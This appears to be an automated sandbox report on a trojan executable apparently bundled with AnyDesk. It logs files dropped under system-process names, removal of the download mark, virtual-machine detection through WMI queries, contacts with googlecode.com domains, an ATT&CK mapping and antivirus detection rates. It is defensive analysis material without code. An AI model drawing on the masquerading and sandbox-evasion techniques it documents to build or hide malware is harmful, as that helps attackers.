Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_2884_1748695018_1_mtx
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_6912_1582247049_1_mtx
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_708_lsystem_mtx
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_2884_1748695018_0_mtx
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_trace_mtx

Source: sJ9Q8UWMAX.exe, sJ9Q8UWMAX.exe, 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, sJ9Q8UWMAX.exe, 00000000.00000000.435290439.0000000000401000.00000080.00000001.01000000.00000003.sdmp, icsys.icn.exe, 00000002.00000002.490867469.0000000000402000.00000080.00000001.01000000.00000007.sdmp, icsys.icn.exe, 00000002.00000000.456086983.0000000000401000.00000080.00000001.01000000.00000007.sdmp	Binary or memory string: A*\AF:\RFD\xNewCode\xNewPro\xT\trjFN\Project1.vbp
Source: sJ9Q8UWMAX.exe, 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmp, icsys.icn.exe, 00000002.00000002.490945123.000000000041B000.00000004.00000001.01000000.00000007.sdmp	Binary or memory string: flH@*\AF:\RFD\xNewCode\xNewPro\xT\trjFN\Project1.vbp

Source: C:\Windows\Resources\Themes\icsys.icn.exe	Process created: C:\Windows\Resources\Themes\explorer.exe
Source: unknown	Process created: C:\Windows\Resources\Themes\explorer.exe
Source: C:\Windows\Resources\Themes\icsys.icn.exe	Process created: C:\Windows\Resources\Themes\explorer.exe	Jump to behavior

Source: C:\Users\user\Desktop\sj9q8uwmax.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: sJ9Q8UWMAX.exe

Static file information: File size 3987229 > 1048576

Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dda-64\privacy_feature\privacy_feature.pdb source: sj9q8uwmax.exe , 00000001.00000002.742694310.0000000000E99000.00000004.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_loader\AnyDesk.pdb source: sj9q8uwmax.exe , 00000001.00000002.745852702.0000000000FB9000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm-32\win_dwm\win_dwm.pdb source: sj9q8uwmax.exe , 00000001.00000002.742694310.0000000000E99000.00000004.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm-64\win_dwm\win_dwm.pdb source: sj9q8uwmax.exe , 00000001.00000002.742694310.0000000000E99000.00000004.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dda-32\privacy_feature\privacy_feature.pdb source: sj9q8uwmax.exe , 00000001.00000002.742694310.0000000000E99000.00000004.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_app\win_app.pdb source: sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_app\win_app.pdb@ source: sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: SAS.pdbR source: sj9q8uwmax.exe , 00000001.00000002.742694310.0000000000E99000.00000004.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: SAS.pdb source: sj9q8uwmax.exe , 00000001.00000002.742694310.0000000000E99000.00000004.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected CryptOne packer

Source: C:\Windows\Resources\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B196B287-BAB4-101A-B69C-00AA00341D07}\ProxyStubClsid32

Jump to behavior

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Unpacked PE file: 1.2.sj9q8uwmax.exe .3d0000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Unpacked PE file: 3.2.sj9q8uwmax.exe .3d0000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Unpacked PE file: 6.2.sj9q8uwmax.exe .3d0000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: explorer.exe.2.dr	Static PE information: real checksum: 0x4bf451a should be: 0x23da0
Source: sJ9Q8UWMAX.exe	Static PE information: real checksum: 0x4bf451a should be: 0x3d43a6
Source: icsys.icn.exe.0.dr	Static PE information: real checksum: 0x4bf451a should be: 0x29178
Source: spoolsv.exe.5.dr	Static PE information: real checksum: 0x4bf451a should be: 0x2ad27
Source: svchost.exe.8.dr	Static PE information: real checksum: 0x4bf451a should be: 0x2902a

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\Resources\Themes\icsys.icn.exe	Executable created and started: c:\windows\resources\themes\explorer.exe	Jump to behavior
Source: C:\Windows\Resources\spoolsv.exe	Executable created and started: c:\windows\resources\svchost.exe	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Executable created and started: c:\windows\resources\spoolsv.exe	Jump to behavior
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Executable created and started: C:\Windows\Resources\Themes\icsys.icn.exe	Jump to behavior

Drops PE files with benign system names

Source: C:\Windows\Resources\Themes\icsys.icn.exe	File created: C:\Windows\Resources\Themes\explorer.exe	Jump to dropped file
Source: C:\Windows\Resources\Themes\explorer.exe	File created: C:\Windows\Resources\spoolsv.exe	Jump to dropped file
Source: C:\Windows\Resources\spoolsv.exe	File created: C:\Windows\Resources\svchost.exe	Jump to dropped file

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe

File created: C:\Users\user\Desktop\sj9q8uwmax.exe

Jump to dropped file

Source: C:\Windows\Resources\Themes\icsys.icn.exe	File created: C:\Windows\Resources\Themes\explorer.exe	Jump to dropped file
Source: C:\Windows\Resources\Themes\explorer.exe	File created: C:\Windows\Resources\spoolsv.exe	Jump to dropped file
Source: C:\Windows\Resources\spoolsv.exe	File created: C:\Windows\Resources\svchost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	File created: C:\Users\user\Desktop\sj9q8uwmax.exe	Jump to dropped file
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	File created: C:\Windows\Resources\Themes\icsys.icn.exe	Jump to dropped file

Source: C:\Windows\Resources\Themes\icsys.icn.exe	File created: C:\Windows\Resources\Themes\explorer.exe	Jump to dropped file
Source: C:\Windows\Resources\Themes\explorer.exe	File created: C:\Windows\Resources\spoolsv.exe	Jump to dropped file
Source: C:\Windows\Resources\spoolsv.exe	File created: C:\Windows\Resources\svchost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	File created: C:\Windows\Resources\Themes\icsys.icn.exe	Jump to dropped file

Source: C:\Windows\Resources\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

File opened: c:\users\user\desktop\sj9q8uwmax.exe :Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Resources\spoolsv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Resources\Themes\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Resources\svchost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_PhysicalMemory

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT MACAddress FROM Win32_NetworkAdapter WHERE PhysicalAdapter = TRUE

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_BaseBoard

Source: C:\Users\user\Desktop\sj9q8uwmax.exe TID: 6996	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe TID: 7004	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe TID: 6996	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe TID: 7020	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe TID: 7060	Thread sleep count: 417 > 30	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe TID: 5604	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe TID: 4364	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe TID: 5176	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe TID: 5740	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe TID: 5604	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Resources\svchost.exe TID: 5868	Thread sleep count: 106 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4404	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe	Window / User API: threadDelayed 940			Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Window / User API: threadDelayed 417			Jump to behavior

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessorId FROM Win32_Processor

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe

API coverage: 8.7 %

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe

Code function: 0_2_00403A5C sgdt fword ptr [eax]

0_2_00403A5C

Source: C:\Users\user\Desktop\sJ9Q8UWMAX.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 0000000A.00000002.715359302.0000018397E63000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @Hyper-V RAW
Source: sj9q8uwmax.exe , 00000003.00000003.500025355.00000000038A3000.00000004.00000800.00020000.00000000.sdmp, sj9q8uwmax.exe , 00000003.00000003.503811175.00000000038A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\Resources\Themes\explorer.exe	Domain query: codecmd02.googlecode.com
Source: C:\Windows\Resources\Themes\explorer.exe	Network Connect: 142.250.102.82 80	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Domain query: codecmd01.googlecode.com
Source: C:\Windows\Resources\Themes\explorer.exe	Domain query: codecmd03.googlecode.com

Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\sj9q8uwmax.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\sj9q8uwmax.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: sj9q8uwmax.exe , 00000001.00000002.744571226.0000000000F3F000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: "release/win_7.0.x"
Source: sj9q8uwmax.exe , 00000001.00000002.745852702.0000000000FB9000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: .itext.text.custom"8ffad92693024ca1759b2f87913ca4d0""release/win_7.0.x""48815da1984dde46a0967eee042ece2e6a89546b"
Source: sj9q8uwmax.exe , 00000001.00000002.744571226.0000000000F3F000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: "48815da1984dde46a0967eee042ece2e6a89546b""release/win_7.0.x""8ffad92693024ca1759b2f87913ca4d0"

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	511 Windows Management Instrumentation	1 Windows Service	1 Windows Service	231 Masquerading	1 Input Capture	1 Query Registry	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	12 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	421 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 DLL Side-Loading	351 Virtualization/Sandbox Evasion	Security Account Manager	351 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Hidden Files and Directories	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	14 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Software Packing	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	233 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
sJ9Q8UWMAX.exe	87%	Virustotal		Browse
sJ9Q8UWMAX.exe	86%	Metadefender		Browse
sJ9Q8UWMAX.exe	100%	ReversingLabs	Win32.Trojan.Golsys
sJ9Q8UWMAX.exe	100%	Avira	TR/Patched.Ren.Gen
sJ9Q8UWMAX.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Resources\Themes\icsys.icn.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Windows\Resources\spoolsv.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Windows\Resources\svchost.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Windows\Resources\Themes\explorer.exe	100%	Avira	TR/Patched.Ren.Gen
C:\Windows\Resources\Themes\icsys.icn.exe	100%	Joe Sandbox ML
C:\Windows\Resources\spoolsv.exe	100%	Joe Sandbox ML
C:\Windows\Resources\svchost.exe	100%	Joe Sandbox ML
C:\Windows\Resources\Themes\explorer.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\sj9q8uwmax.exe	3%	Metadefender		Browse
C:\Users\user\Desktop\sj9q8uwmax.exe	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
codecmd01.googlecode.com	0%	Virustotal		Browse
codecmd03.googlecode.com	0%	Virustotal		Browse

URLs

